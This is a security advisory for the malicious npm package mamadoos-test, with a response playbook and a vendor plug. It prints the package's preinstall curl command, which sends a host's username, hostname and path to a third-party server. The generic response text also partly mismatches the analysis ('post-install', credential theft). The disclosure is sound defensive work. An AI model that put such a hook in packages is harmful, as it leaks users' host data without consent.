mamadoos-testnpm
Advisory published Updated
mamadoos-test is a confirmed malicious npm package (MAL-2026-4605) that steals credentials and exfiltrates sensitive data (malicious versions 10.0.0, 10.1.0, 11.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in mamadoos-test (npm)
What this malware does
package.json declares a preinstall lifecycle hook that runs curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pwd), embedding the installer's OS username, hostname, and current working directory into the URL path/query. This fires unconditionally on npm install with no opt-in, leaking host-identifying information to a third-party endpoint. The package additionally declares itself as a dependency (mamadoos-test: ^10.0.0), a shape consistent with a dependency-confusion probe — installs of a colliding internal name resolve to this public package and beacon back. Regardless of whether the intent is research or active targeting, the installer-side effect is unconsented exfiltration of identifiers useful for follow-on attacks (locating internal hosts, mapping CI environments, fingerprinting build paths).
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for mamadoos-test (3 malicious versions).
If you installed it — respond
mamadoos-test is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If mamadoos-test was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Detect & block this
O3 blocks mamadoos-test-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.